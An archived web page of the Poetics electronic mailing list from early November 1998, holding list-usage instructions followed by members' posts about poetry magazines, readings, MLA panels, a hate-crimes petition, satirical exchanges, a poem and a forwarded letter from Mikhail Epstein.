If you want someone to send out information to the list as a whole, or supply information missing from an post, or thank someone for posting something you requested, please send the request or comment to the individual backchannel, not to the whole list.

---

4. Digest Option

The Listserve program gives you he option to receive all the posted Poetics message each day as a single message. If you would prefer to receive ONE message each day, which would include all messages posted to the list for that day, you can use the digest option. Send this one-line message (no subject line) to

[redacted]

set poetics digest

NOTE:!! Send this message to "listserv" not to Poetics or as a reply to this message!!

You can switch back to individual messages by sending this message:

set poetics mail

---

5. Temporarily turning off Poetics mail

Do not leave your Poetics subscription "active" if you are going to be away for any extended period of time! Your account may become flooded and you may lose not only Poetics messages but other important mail. You can temporarily turn off your Poetics subscription by sending a message to "[redacted]"

set poetics nomail

& turn it on again with: set poetics mail

When you return you can check or download missed postings from the Poetics archive. (See 8 below.)

---

6. Who's Subscribed

To see who is subscribed to Poetics, send an e-mail message to message blank. In the body of your e-mail message type:

review poetics

You will be sent within a reasonable amount of time (by return e-mail) a rather long list containing the names and e-mail addresses of Poetics subscribers. This list is alphabetized by server not name.

or try:

review POETICS by name review POETICS by country

which will give you the list alphabetically by name or a flawed list by country
(since all ".com" and ".net"s are counted as US)

Please do not send a message to the list asking for the address of a specific subscriber.

---

7. What is the Electronic Poetry Center?

our URL is

http://writing.upenn.edu/epc

The mission of this World-Wide Web based electronic poetry center is to serve as a hypertextual gateway to the extraordinary range of activity in formally innovative writing in the United States and the world. The Center provides access to the burgeoning number of electronic resources in the new poetries including RIF/T and other electronic poetry journals, the POETICS List archives, an AUTHOR library of electronic poetic texts, and direct connections to numerous related electronic RESOURCES. The Center also provides information about contemporary print little magazines and SMALL PRESSES engaged in poetry and poetics. And we have an extensive collection of soundfiles of poets' reading their work, as well as the archive of LINEbreak, the radio interview series.

The EPC is directed by Loss Pequeño Glazier.

---

8. Poetics Archives via EPC

Go to the EPC and select Poetics from the opening screen. Follow the links to Poetics Archives. You may browse the archives by month and year or search them for specific information. Your interface will allow you to print or download any of these files.

Or set your browser to go directly to:
http://writing.upenn.edu/epc/poetics/archive

---

9. Publishers & Editors Read This!

PUBLISHERS & EDITORS: Our listings of poetry and poetics information is open and available to you. We are trying to make access to printed publications as easy as possible to our users and ENCOURAGE you to participate! Send a

list of your press/publications to [redacted] with the words EPC Press Listing in the subject line. You may also send materials on disk. (Write file name, word processing program, and Mac or PC on disk.) Send an e-mail message to the address above to obtain a mailing address to which to send your disk. Though files marked up with html are our goal, ascii files are perfectly acceptable. If your word processor will save files in Rich Text Format (.rtf) this is also highly desirable

Send us extended information on new publications (including any back cover copy and sample poems) as well as complete catalogs/backlists (including excerpts from reviews, sample poems, etc.). Be sure to include full information for ordering--including prices and addresses and phone numbers both of the press and any distributors.

Initially, you might want to send short announcements of new publications directly to the Poetics list as subscribers do not always (or ever) check the EPC; in your message please include full information for ordering. If you have a fuller listing at EPC, you might also mention that in any Poetics posts.

Some announcements circulated through Poetics and the EPC have received a noticeable responses; it may be an effective way to promote your publication and we are glad to facilitate information about interesting publications.

END OF POETICS LIST WELCOME

↑ Index

8. ken|n|ing
Publication announcements)))
Sun 1 Nov 1998

To add to the mix: Now may be a good time for those interested to subscribe to Kenning. The third (autumn/winter '98) issue is due in two to three weeks & stands at just over 76 pages: subscribing now will get you the second and third issues, together featuring poetry by authors such as Charles Bernstein, Hoa Nguyen, Liz Waldner, Katy Lederer, Alice Notley, Gustaf Sobin, Ray DiPalma, Lisa Jarnot, etc etc, poetics by Tina Darragh, John Taggart, Alice Notley, reviews of recent chapbooks, and an interview with Nathaniel Mackey: subscribers send $9.50 made out to the editor, Patrick F. Durgin, to the address below, and receive a hand printed portfolio to contain several issues Also would like to recommend the new issue of Hambone, announced elsewhere on this list. Rachel Blau DuPlessis' new work therein was particularly intriguing for me There will be a complete publication announcement to this list once the third issue of Kenning is ready to send. But again, to receive the summer and autumn/winter issues, subscribe NOW Thanks Patrick F. Durgin

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                    |
k e n n i n g``````````````|```````````````````````````
a newsletter of contemporary |poetry,  poetics,  and  non-fiction writing
                    |418 Brown St. #10  Iowa City, IA 52245  USA
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↑ Index

9. Kathy Lou Schultz

Tripwire No. 2

Sun 1 Nov 1998

Tripwire No. 2 has arrived in my mailbox, earning David Buuck and Yedda Morrison the tagline "fastest turnaround in the business." Steven Farmers' work, the magazine's opener, is a must-read. Also included is a good selection of reviews, including my own musings on "Moving Borders: Three Decades of Innovative Writing by Women," edited by Mary Margaret Sloan.

The magazine's address is:
P.O. Box 420936
SF, CA 94142-0936

And they're distributed through Small Press Distribution in Berkeley.

Thanks to others for weighing in on Hambone 14.

Best,
Kathy Lou Schultz

↑ Index

10. Mark DuCharme

Re: This is not a suggestion, but . . .

Sun 1 Nov 1998

Gabriel Gudding is right! & Furthermore, since Patrick Pritchett _has_ left poetry, left it stone cold, & we can announce it to the world, I am happy to forward a Very Special Offer:

Take Patrick Pritchett's place in his reading with Anselm Hollo & Laura Wright at the Left Hand Bookstore, Boulder, Colorado, January 21, 1999. The ex-poet Pritchett's place will be auctioned off to the highest bidder. Send checks payable to Left Hand Reading Series Huckster Mark DuCharme. No tippied checks accepted.

GG wrote:
>1). Pritchett, surely you meant to tippy "the business of publishing
and

>book-selling," not "the business of poetry." If you did mean to tippy
>"the business of poetry is the commerce of poetry," I'd say you already
>left, man. You already left.
>
>2). Good riddance.
>
>3). I think Mairead's point is simply this: if you Must advertise here,
>do it with pizzazz. Do it, in other words, with poetry, Pritchett.
>
>Gabriel Gudding
>
>----------Mairead wrote:
>> Subject: Re: This is not a suggestion, but . . .
>> Date: Friday, October 30, 1998 9:44AM
>>
>> This list is like a huckster shop with books and readings constantly
being
>> touted, lipstick (I still don't understand that), MLA tricks, blah
blah
>> blah. If you don't got the inclination or the dough it's no fun
reading
>> this stuff: why not make it fun (as Masha did) by at least SELLING in
an
>> interesting, enthralling, exhilarating, salivating way? Just the
dumb
>> banner doesn't do it, even with a few lame comments attached.
>>
>

Get Your Private, Free Email at http://www.hotmail.com

↑ Index

11. A. Jenn Sondheim

MLA

Sun 1 Nov 1998

For that matter, I'm on a panel called Letter Sensations and Embodied Life (I think) and I'll be talking about interpenetrating subjectivities/ poetics/virtualities of the future and now, why not. This is with Vicki Kirby and Ann Weinstone and we should be great fun I do hope.

Alan

↑ Index

12. Maria Damon
mla
Sun 1 Nov 1998

ed cohen, ira livingston and i are doing a panel called poetics out of bounds. they do stuff on poetry and science, i do stuff on eccentric poetries. come if you can, it should be fun. they're theory jocks. if you saw them at the Cross-Cultural Poetics conf, ed will be doing the same thing, more or less, ira's is new, and so is mine, as in as yet unwritten yikes. --md

↑ Index

13. KENT JOHNSON
The Transcendental Friend
Sun 1 Nov 1998

I have just been hypering about in _The Transcendental Friend_ and feel inspired to gush that it is one of the most exciting places for poetry and its thinking that I have ever seen. It's not only the wonderful and idiosyncratic contents. It is also that this is the first literary "magazine" I've encountered that marshals materials in a way to become truly a Poem-- a big poem built-up of other poems and graphics and other kinds of very unordinary writing, all connected by links and interfaces that make you feel somewhat like the place is alive and crawling Here you will find postmodern and apocryphal Middle English texts, ancient glyphs, the magnified faces of insects, and a generous gallery of the Russian cosmonauts. Like the house Kurt Schwitter's was building, this place is an unfolding art work and something you have to see for yourself (though you can't see Schwitter's house anymore). A fresh issue every month and many "friends" from this List.

www.morningred.com

↑ Index

14. jesse glass
Hambone 14
Sun 1 Nov 1998

This is a multi-part message in MIME format.

charset="iso-8859-1"

Since it doesn't appear to have been listed--(forgive me in advance if = it has been)--I would like to draw your attention to the latest HAMBONE = (14)--A great read with work from Nathaniel Tarn, Barbara Guest, Amiri = Baraka,

Michael Davidson, Lydia Davis, and others--including your humble = correspondent Jesse Glass. $18.00 sub., $10.00 individual issues. 134 HUNOLT ST, SANTA CRUZ, CA. 95060. Nathaniel Mackey, ed.

Another magazine that should be of interest to list members:

The Abiko Quarterly--A mag. of prose, poetry & James Joyce studies
Laurel Sicks, ed. & pub.
8-1-8 Namiki
Abiko-shi, Chiba-ken
270-11, Japan.

Usually over 400 pages of work that ranges from traditional to highly = experimental writing, this mag. gives a fascinating look at English = language and Japanese poetry and prose. Subs are a tad expensive at = $30.00 per year, but issues are the size of small telephone books and = Sicks is unusually generous in working out deals with poets--mag & book = exchanges, etc.--She also publishes a huge section of reviews. =20

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<META content=3D'"MSHTML 4.72.2106.6"' name=3DGENERATOR>
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book exchanges, etc.--She also publishes a huge section of =
reviews. =20
</FONT></DIV></BODY></HTML>

↑ Index

15. KENT JOHNSON

Yasusada Bib 2

Sun 1 Nov 1998

--Message-Boundary-13818
Content-description: Mail message body

I've noticed that I failed to include a number of published items on the version that Akitoshi Nagahata has put up on the web. So I thought I would go ahead and send this newly updated version (attached) for those of you who might be interested.

Kent

--Message-Boundary-13818
Content-description: Attachment information.

The following section of this message contains a file attachment prepared for transmission using the Internet MIME message format. If you are using Pegasus Mail, or any another MIME-compliant system, you should be able to save it or view it from within your mailer. If you cannot, please ask your system administrator for assistance.

---- File information -----------
File: aybib.doc
Date: 1 Nov 1998, 21:56
Size: 20992 bytes.
Type: Unknown

--Message-Boundary-13818

--Message-Boundary-13818--

↑ Index

16. Matt Kirschenbaum
humument home page?
Sun 1 Nov 1998

Does anyone know what's become of Tom Philips's Humument Home Page (formerly at <http://www.wolfenet.com/~duchamp/index.html>)? Matt

↑ Index

17. Vance Bell
Re: Tom Phillips
Mon 2 Nov 1998

I am sorry if this has already be given out -- I am only on the digest version of POETICS:

Re: Tom Phillips stuff see

http://www.rosacordis.com/humument/index2.html

--
+==+==+==

+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==
+==+==+==+==+==+==+==+==+==+==+

↑ Index

18. Mark Salerno

Arshile Benefit at New College

Mon 2 Nov 1998

Dear Friends:

Just a reminder about our Tenth Issue Benefit Reading in San Francisco, as follows:

Arshile Benefit Reading at New College of California
to be held in the Theater at New College
777 Valencia Street (at 19th Street)
San Francisco, California
Friday, November 13, 1998, 7:00 p.m.

Participants:
Edmund Berrigan
Sarah Anne Cox
Peter Gizzi
Nina Glaser
Barbara Guest
Jack Hirschman
Kevin Killian
John Laskey
Stefanie Marlis
Laura Moriarty
Carl Rakosi
Jocelyn Saidenberg
Aaron Shurin
Elizabeth Willis

We will be asking for a five dollar donation for admission.

Hope you will join us.

Mark Salerno

↑ Index

19. David Kellogg
Re: MLA
Mon 2 Nov 1998

I'll be doing a paper on Bunting on the last morning of MLA. Panel on "the British pocket epic."

Cheers,
David
~~~
~~~

Kent

↑ Index

22. Poetry Project

Readings at the Poetry Project

Mon 2 Nov 1998

For the week of Nov.2 - on:

Monday, Nov. 2 -- Open reading, 8pm (sign-up at 7:30 pm). Don't bag it just cuz you call yourself a real poet.

Wednesday, Nov. 4 -- The Defiant Muse: Readings from Dutch Women Poets

A reading in celebration of the publication of The Defiant Muse: Dutch and Flemish Feminist Poems from The Middle Ages to the Present (The Feminist Press). Featuring Carla Boogaard, Anna Enquist, Elly de Waard, Maaijke Meijer, Meena Alexander, & others. 8pm.

Friday, Nov. 6 -- Don't Follow Leaders: Artists' Takes On Politics

Election Day-week reading featuring Tom Gogola, Eliot Katz, Tuli Kupferberg, Rachel Levitsky, Leslea Newman, & Peter Lamborn Wilson. 10:30 pm

Saturday, Nov. 7 -- Tribute to Hannah Weiner

A tribute to the late poet Hannah Weiner with readings, talks, memories from Charles Alexander, Bruce Andrews, Abigail Child, Maria Damon, Tina Darragh, Alan Davies, Maurice Finegold, Ernesto Grosman, Bob Harrison, Michael Heller, Henry Hills, Peter Inman, Jackson Mac Low, Sharon Mattlin, Bernadette Mayer, Douglas Messerli, Phil niblock, Nick Piombino, Joan Retallack, Barbara Rosenthal, James Sherry, Ron Silliman, Ann Tardos, Fiona Templeton, Lewis Warsh, Barrett Watten, Lee Ann Brown, Andrew Levy, and Charles Bernstein. 4 pm.

More information can be had by calling the Project at [redacted], or scanning the Project website at www.poetryproject.com

Also, for the sake of possible future forgetfulness, this would be the next months of Mondays:

Nov. 9 -- Buck Downs & Judith Goldman

Nov. 16 -- Matthew Rohrer & Chris Stroffolino

Nov. 23 -- Brett Evans & Sianne Ngai

Nov. 30 -- Tonya Foster & Jonathan Skinner

Dec. 7 -- Open Mic

Dec. 14 -- Janice Lowe & Robert Bove

Jan. 11 -- Wendy Kramer & Rachel Levitsky

Jan. 25 -- Nava Fader & David Mills

↑ Index

23. Dale Smith
HAPPINESS
Mon 2 Nov 1998

Has anyone seen the movie, HAPPINESS? It's Tolstoy for the 90's (all that Un-Happy family business). It's very sharp, critical and frank about sex, social limitations of desire and the repressed animal drive that gets sublimated in such cartoonish, hideous ways. This is by the director of Welcome to the Doll House, a sinister film of adolescent growing pains. Check it out if you like to sweat or feel those butterflies aflutter in your stomach. This film takes the "father/son--man-to-man talk" to a new level. Whew. I'm nervous, bleak. Ouch.

_____
Get Your Private, Free Email at http://www.hotmail.com

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24. Annie Finch
Petition
Mon 2 Nov 1998

The "Stop The Hate" Petition

Opening Statement:

"As a religious voice, we state strongly that violence on
the basis of
sexual
orientation, race or gender is wrong, is evil, is
reprehensible."
John Buehrens, President of The Unitarian Universalist
Association,
speaks for Unitarian Universalists but his words are
reflected in the
hearts of people everywhere who believe we must speak out,
take action
against, and condemn hate crimes in all their ugly forms.
A resolution follows:

WHEREAS: We affirm and promote the inherent worth and dignity of every person; and
WHEREAS: We commend the efforts of those individuals who dedicate their lives to causes of social justice and human rights; and
WHEREAS: We support actions that protect the individual's rights of life, liberty and pursuit of happiness.

THEREFORE BE IT RESOLVED, That we hereby urge the passage of The Hate Crimes Prevention Act (HCPA), H.R.3081 and S.1529
(The Hate Crimes Prevention Act (HCPA), H.R.3081 and S.1529, would amend current federal law (which permits federal prosecution of a hate crime only if the crime was motivated by bias based on religion, national origin, or color) to include real or perceived sexual orientation, gender, and disability so the FBI would be able to investigate and prosecute violent hate crimes against gays, lesbians, and bisexuals.
Under this bill, hate crimes that cause death or bodily injury because of prejudice can be investigated federally, regardless of whether the victim was exercising a federally protected right.
The only way that our representatives can be aware of the base of support for this change to the current law is by making our voices heard.

Please add your name to this petition and forward it to friends who believe in what it stands for. The petition will then be forwarded to the President of The United States; the Vice President of the

United States;
and our United States Senators and House Members.

Petition Management:
1 This petition is being passed around the Internet. Please add your name
to it so that we can have tougher laws against all hate crimes. Please
keep the petition rolling. Do not reply to me. Please sign and forward to
others to sign. This is being forwarded to several people at once to add
their names . It will not matter if many people receive the same list as
the names are being managed.

2 If you print out this petition for signing please email the listing of
names with locations to the email address:
[redacted] (an email
address created to receive this petition) Include a note to indicate you
have a hand-signed petition and include the number of names listed.

3. If you happen to be the 100th, 150th, 200th, 250th, etc. signer of
this petition, please forward a copy to the email address:

[redacted]

4. If you sign, please pass it on to others. If not, please do not kill
it:
send it on to the email address: [redacted]

Thank You
Leslie Palmer, UU
... I cannot stay silent, my outrage and compassion will not allow.

Note: It is preferable that you Select the entirety of this letter and
then COPY it into a new outgoing message, add your name to the bottom of
the list, then send it on.

Sign Here:
1)=09Leslie Palmer, Jacksonville, FL
2)=09Stephen Silverman, South Burlington, VT
3)=09Mel Harkrader Pine, Reston, VA
4)=09Barry Finkelstein, Arlington, VA
5)=09Roberta Finkelstein, Arlington, VA
6)=09Judy Welles, Carlisle, PA
7)=09Kate Seitz bortner, York, PA
8)=09Len De Roche, Kingston, MA
9)=09Bonnie Vegiard, Danbury CT
10)=09Audree Simer O'Connell, Stockton, CA
11)=09Peter Lach, Stockton, CA
12)=09Nathan Gonzales, Pomona, CA
13)=09Elizabeth Gonzales, Fresno, CA
14)=09Kenneth Fries, Fresno, CA
15)=09Robin Greiner, Fresno, CA
16)=09Nancy Casad, Fresno, CA
17)=09Tom Aitken, Kaimu, HI
18) Carolyn Martinez Golojuch, Makakilo, HI
19) Eleanor M. Binder, Baltimore, MD
20) Susan Stanskas, Fredericksburg, VA
21) Rev. Ellie Atwood-Tarbell, Rochester, NY
22) John Martin, Frankfort, KY
23) Steven Coy, New York, NY
24) Craig Lucas, Putnam Valley, NY
25) Rafael Campo, MD, Jamaica Plain, MA
26) Marilyn Hacker N.Y. N.Y.
27) Annie Finch, Cincinnati, OH

Annie Finch
http://muohio.edu/~finchar
Assistant Professor of English/Creative Writing
Miami University
Oxford, Ohio 45220

↑ Index

25. Gary Sullivan
Re: Readings at the Poetry Project
Mon 2 Nov 1998

> *Monday, Nov. 2 -- Open reading, 8pm (sign-up at 7:30 pm). Don't bag it just cuz you call yourself a real poet.*

Could you let us know if/how much it costs to get in? Thanks,

Gary

↑ Index

26. Poetry Project
new poets on web site
Mon 2 Nov 1998

A new selection of poets is now up on the "Poets & Poems" section of the Poetry Project's website at www.poetryproject.com.

Check out new work by:

Will Alexander
Laynie Browne
Brian Lucas
Kristin Prevallet

Also, hot news flash: French poet Olivier Cadiot will now be reading with Harry Mathews at the Project on Wednesday, November 11th.

↑ Index

27. Mark Prejsnar
book plug for Hank Lazer
Mon 2 Nov 1998

Last week i was giving a lot of attention to Hank's Ealry Days of the Lang Dynasty...I was gonna post here a mini-review, consisting of notes for a possible paper review; then i read Perloff's excellent essay on this chapbook, and she said most of the the things i was gonna point out (including that it is very good)....

So, to follow up on Joel's Meow Press caterwaul, i'll mention at least that:

Lazer's book is one of the most witty, energetic and distinctive pieces of social/political poetry (it's also meditative poetry, also highly "lyrical") to appear in quite some time. (..came out in 1996 i believe);

It's therefore a real steal and i strongly recommend it to folks who haven't seen it...

The cats at Meow do really distinctive and beautiful chaps...i don't know of anyone who has made such an art of combining a lovely, recognizeable design-concept with affordability.

The cover and design of Lang Dynasty is especially neat, using artwork based on Chinese calligraphy that is closely integrated with the poem.

Kudos all around in short....

mark prejsnar

↑ Index

28. Robert Archambeau
Re: Russian poetry festival
Mon 2 Nov 1998

Sorry to join this discussion so late -- there's been some serious voodoo going down with the email server here is soggy Lund, Sweden and I'm only now getting mail sent to me on Friday, but I was really struck by this:

Kent Johnson wrote:

> *I suspect others were fascinatied by Zaviola's post and would liek to know more about new Russian poetry. A very good place to begin is with a book I edited called _Third Wave: The New Russian Poetry_ (Michigan, 1992), wherein a number of the folks Zaviola mentions appear. The book has a long introduction by Alexei Parschikov and Andrew Wachtel, great poems and poetics statements by the contributors, and an afterword essay by Mikhail Epstein*

Third Wave is a fantastic book, and Epstein's essay a great intro some elements of the Russian scene. Wachtel translated a poem by one of the Third Wavers, Ilya Kutik, for Samizdat #1, and I've been in touch with Masha and Sergei about having a piece on the conference, along with a few poems in translation, in a future issue, possibly as early as December.

I had hoped to make it over to St. Petersburg for the conference, but had to make a choice between going there or to the Academy of European Poets festival in Malmo. Despite some good readings in Malmo, I think I should have risked that aeroflot trip to Russia.

Bob

Robert Archambeau
Lund University, Sweden

↑ Index

29. **dbkk**
SPT off-site events this weekend
Mon 2 Nov 1998

Small Press Traffic will host two exciting off-site events this weekend.

1. On Friday night--at Yerba Buena Center for the Arts--we'll present a group reading by local residents who knew Jack Spicer. Each will read one of Spicer's poems and talk a bit. Unlike at New College, where we pack people in until the walls bulge, there is limited space at Yerba Buena--so if you're interested in attending I recommend you either call the Yerba Buena ticket office (415-978-ARTS/2787) and buy your ticket in advance--or show up early. Please don't call Yerba Buena's ticket office and try to buy tickets for SPT events held at New College (as a couple of people did). Hello????

2. On Saturday afternoon--at the Bay Area Book Festival--we'll present a reading by Jay Dillemuth, Lauren Gudath, Rob Halpern, and Sarah Rosenthal.

See details below.

Dodie

Verse and Vino
co-produced with Yerba Buena Center for the Arts' In Conversation series
(curated by Natasha Boas)

Jack Spicer's Ecotopia: a Celebration

Friday, November 6, 7:30 p.m.
Yerba Buena Center for the Arts Lounge
701 Mission Street (at 3rd), San Francisco
$5/$3 for seniors & students
For tickets or information call 978-ARTS/2787

Jack Spicer (1925-1965), one of the most important post-modern poets, was born in Los Angeles but wrote most of his major work here in San Francisco, where he died at age 40. Spicer was a center of an active community of poets and visual artists who roved from North Beach to Aquatic Park, Polk Gulch to Candlestick Park. A passionate environmentalist and city theorist, Spicer wrote: "True conservation is the effort of the artist and the private man to keep things true. . . Death is not final. Only parking lots." Two new books explore Spicer's legacy: The House That Jack Built: The Collected Lectures of Jack Spicer, edited by Peter Gizzi, and a biography, Poet Be Like God: Jack Spicer and the San Francisco Renaissance, by Lewis Ellingham and Kevin Killian (both volumes from Wesleyan University Press/University Presses of New England). Tonight, Ellingham, Gizzi and Killian will appear and discuss their books, then turn over

the floor to many of Jack Spicer¹s contemporaries‹artists, writers, thinkers‹who will each read from his work. "Our city shall stand as the lumber rots and Runcible mountain crumbles, and the ocean, eating all of islands, comes to meet us."

Among those reading on this historic occasion will be

Jim Alexander
David Bromige
Wesley Day
Lew Ellingham
Gerald Fabian
Nemi Frost
Larry Kearney
Joanne Kyger
Alvin William Moore
Mary Rice Moore
John Norton
Ariel Parkinson
James Schevill
Richard Tagett

Saturday, November 7, 3-4 p.m.
Bay Area Book Festival Reading
Concourse Exhibition Center
Brannan between 7th and 8th Streets, San Francisco
Free with book festival admission ($3)

Jay Dillemuth
Lauren Gudath
Rob Halpern
Sarah Rosenthal

SPT board members Pamela Lu and Jocelyn Saidenberg have curated an hour's worth of the new generation, the exciting young writers of the Bay Area, at the soi-disant Allen Ginsberg Poetry Cafe, at the Ninth Annual San Francisco Bay Area Book Council Festival.

↑ Index

30. miekal and
Re: Eco and Epstein
Mon 2 Nov 1998

note that the link to Mikhail Epstein's homepage is missing a backslash & should read:

http://www.emory.edu/INTELNET/Index.html

↑ Index

31. Gabriel Gudding
Classicist Pigs
Mon 2 Nov 1998

On Sun, 1 Nov 1998, Mark DuCharme wrote:

> *Gabriel Gudding is right!*

5). Let me be the first to agree with Mark DuCharme that I am right.

I am a clacketing magpie. And that should be respected. I have differences, issues. Things I've sturgled with. And I've sturgled with some pretty hard things. Some old, some new. All hard. I've sturgled hard to even speak up let alone be Speak Out. Some when someone comes along maligning and basically - let's just admit it -- basically kicking in the teeth of experimental poetry and poets who Don't have access to them the means of production, aren't among the elite, who when someone comes out along and does this, I SPEAK OUT. That's right. I do. I speak out. My own background is personal. I have a personal background. And as anyone who has a personal background knows and who has a struggled to find his/her voice and who has had a personal issues, background, compilcated issues, issues that are hard to deal with and having debt with them who has finally learned to hear my own voice, I speak when I speak: and I spoke. I spoke not only for Pritchett, whether that Pritchett was/is Poetry's Pritchett or Poem Pritchett (which is righly retinized as the Johannine Pritchett the first Pritchett of Pete the yes even the Pete of the pope, the first Pete, the Peter the Pope though not that other the Peter the Peter the Great, not that elitist Pete), I spoke for the Pete in all of us, for Peteses everywhere, for Peteses sake, Peteses who don't necessarily have a Voice, who can't even "Pete" themselves let alone Re-peat themselves. And I spoke. I spoke out. In my difference. In my Divarsity. Of my issues. Of my personal past. I spoke because I AM the Poet the Pete: of all Peteses: I am that symbols of American the Beautiful. I am that icom of True Rebellion: rebellion for the Good, not the STATS KWO. Humor is not funny. And Your Mockery, O Mocker, Your Mickery of this most impotent matter -- your mockery of Pete and Poets and Poetry and that thing you said about Laureats and Lariats and Lawrences and the complete

Dismal of My accusations and Feelings is offensive and I take Offense at them, and also of your dismal of Other Things as well: your mickery of all these people in ALL their differences and Otherness, is Repregnant and is also Repehensible. We are each chllenged in our own unique way and we have to utilizize these challenges and AUTHORIZE ourselves and spurn ourselves on to TAKE BACK what elitists and classicists have Taken From Us. I feel strongly about this yes. We will TAKE you BACK what has been taken from us and if this means of having a sit down demonstration on your desk, we will stand up and Do It, so be it god. I because we WANT positivity, we WANT to you to respect this. It's true. It's true I've had personal times.

↑ Index

32. louis stroffolino

TUSK! (or aerial view of a huckster graveyard)

Mon 2 Nov 1998

Where the gash rakes its sleeve in renegade silt and
slakes its main squeeze for a spin too rash to be a drag
construction hinges and hammers
an interest that dipped the focus thing
into the fringe of the ground
vacuuming up the snarls with the snub
to be doubled in punishment and flesh
from the relaxation that escaped through the chimney
like the opposite of wit in a city small as a century
in the meannesss of sleep when there were too many things identical
until the firewomen got the sentries to barbecue the icicles
and clouds gathered to watch the beautiful fist
of summer strip the graveyards from the elephants
and pass it off as a typo!

↑ Index

33. Michel Delville

URGENT QUERY: Rosmarie Waldrop's address

Mon 2 Nov 1998

Dear listers,

Would anybody know how I can get in touch with Rosmarie Waldrop *in Germany* (phone; address; e-mail)? You can backchannel to me--

Thanks for your help.

Michel Delville
[redacted]

Michel Delville
English Department
University of Liège
3 Place Cockerill
4000 Liège
BELGIUM
fax: ++ 32 4 366 57 21
e-mail: [redacted]

↑ Index

34. Poetry Project
Gary'$ question & ZINC
Mon 2 Nov 1998

Gary Sullivan asked about prices for Project readings & it goes

$7 -- General

$4 -- Students

Free for members

This goes for all readings unless otherwise noted. The Hannah Weiner tribute falls under "should have been otherwise noted". Something like free (I think).

As well, this Sunday a reading at the Zinc Bar (90 W. Houston; 6:30 pm):

Ted Greenwald

&

Bill Luoma

That's a $3 donation

Best, anselm berrigan

↑ Index

35. Henry Gould
the zrrow of Kent
Mon 2 Nov 1998

Muchas gracias, Mr. Kent, for mentioning the Ben Friedlander essay on the on Silliman essay in Postmodern Culture online (available via EPC site, electronic mags section).

It was followed by an equally interesting translation of a manifesto on poetry by Russian poet Arkadii Dragomoschenko.

Some possibilities there for discussion along the lines of favorite Poetics List chestnuts - form & content, art & politics, Zukofsky, generations, Kerouac... Dragomoschenko more Russian-philosophical, seems to be rather cleverly re-playing the "poetry" of postmodernist conundrums (nature of the "I", poetry a disturbance of the "machine" of fulness or totality, etc...) Silliman via Friedlander more typically anglo-american pragmatical (how do literary form and liberation/revolution conjoin, etc...)

Boringly reductive here so check the originals...

Friedlander approaches the subject (Silliman's essay) with sensible even-handed academic objectivity - no particular axe to grind, just analyzing the way the essay works...

I find this stuff fascinating mainly because I disagree so strongly & have to work to discover why...

Friedlander's essay is a sort of mini-canonization exercise: elaborating on how Silliman's essay succeeds simply by _expressing_ the oscillation or dialectic between aesthetic liberation on one hand & the problem of political liberation on the other... in my view he is able to do this because there is a para-poetics at work in all poetry - call it a set of unspoken allegiances or values - in this case leftist-materialist - shared both by the academic world & the poetry it canonizes. I'm not condemning this at all - just suggesting that there are other para-poetics based on different allegiances - I have a para-poetics too -

it would be interesting to analyze contemporary poets' work not only in terms of what's on the page but by every "move" they make in an ideological frame -

- Henry Gould

p.s. remember the good old days? so many voices on this list have moved on or clammed up. Mairead has a point about hucksterism. I'm not against the announcements at all - it's just interesting to observe how certain voices gradually move from conversation to announcements over the years.... but perhaps "conversation" is not the right word for the sleight-of-speech that goes on here electronically...

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36. miekal and
special collections--contemporary experimental
Mon 2 Nov 1998

DOES anyone happen to know if there is a list compiled of special collections that are actively collecting experimental small press, complete with contact information? If none exist would be a great service for this list to compile such a document

Miekal

↑ Index

37. A. Jenn Sondheim
from the Horde (fwd)
Mon 2 Nov 1998

-

from the Horde -

Our name are Heraclitus, be careful, please don't bite us, Or all the world will cease. We've hardly just begun, but we're already done, with dark Parmenides. You might see us faking, the chains we'll be a-breaking, with axiomatics making, a fool of all of these. Sometimes we'll get quite hard, rereading Baudrillard, but that lasts just a minute, there's hardly a thing in it, although he's quite a card. So look towards Irigaray, that's what we've got to say, our ontology she knows, she's soaked with all those flows, and that's the way it goes, or maybe not so hard, you might ask Lyotard, and then where all the gaps were, you might begin to stir, swooping and swaying with forks and knives, looping and flaying with whips and lives, oh that slut, her! Judith Butler! Don't you know that everywhere, you get tangled in pubic hair! We love the telly, radio; we're up above, and down below, we've got no space and have no time, but we can make a theory rhyme. We'll crawl up your leg when you howl and beg, crawl down your arm when you chant a charm. We have no names, not monopoles, not not even holes. We're not monads or churls, nomads or girls, hackers or whirls. We're Her-a-clit-us, to be sure, we're running with fetish, running allure! Catch us in you, there's no sin too! We could go on, but it's your song, you've got bees in your hung lungs, stung!

↑ Index

38. KENT JOHNSON
Eco and Epstein
Mon 2 Nov 1998

This rather amazing letter came to me a little while ago from my friend Mikhail Epstein, author of, among numerous other things, the wonderful book of essays _After the Future: The Paradoxes of Postmodernism and Contemporary Russian Culture_ (U of Massachussetts P. 1996). This book, by the way, includes a number of fascinating pieces on the current poetry scene in Russia. I foward this with ME's permission. Kent

Dear Kent: Reality leaves behind our fantasy. Can you imagine that these very days Russian internet heatedly discusses the question if Mikhail Epstein is an existent person or a hyperauthor most probably created by the mastermind of Umberto Eco? This is not a joke. They even have published a montage of two photographs where I look very much like Umberto Eco would have looked twenty years ago.

http://www.russ.ru/journal/travmp/98-10-29/epsht0.htm

The noise started after the publication of my article "Informational explosion and the trauma of Postmodernism" to which the editors added a very ambitious subtitle: "On the main law of hisdtory." It's quite a academic article dedicated to the 200th anniversary of the publication of Malthus's demographic bombshell (1798) and formulating a different, now more evident non-demographic disproportion between the arithmetic increase of the span of human life and geometric progression of informational wealth - the growing discrepancy that quickly transforms each human being into an idiot. Postmodernism is treated in the article as an outcome of this traumatic experience, producing superficial perception of signs and destroying their connection with the signifieds, creating the theories of hyperreality, simulacrum, difference-deference, etc. (Trauma, in contemporary terms, is the split before signs and signifieds and the removal of the latter into the unconscious). Postmodern "simulacrum" is the next stage of the traumatic process that Marxist tradition described as "alienation" and Existentialism, as "discommunication"-- the 3 progressive forms of incommensurability between an individual and the species, a human being and the humankind. That's simple. In the 2-3 last weeks, more than 100 reviews and responses were added to the publication of this article in "Russian Journal," the most reputable Russian intellectual journal on the Web, and the question finally focused on the question of the author's identity. Does Mikhail Epstein (ME!) exist? How can he prove his existence? Who is behind him? Eco is the most probable candidate famous for his hyperauthorial devices... This is how creation of hyperauthors brings forth the effect of boomerang on the creators themselves, presenting them as hyperauthors of

some more primary creators, etc. Isn't this an applied theological argument leading to the Primary Cause? Cordially yours, Misha

****

Mikhail N. Epstein, REEALC
(Dept. of Russian and East Asian Languages and Cultures)
121 Trimble Hall, Emory University, Atlanta, GA 30322 USA
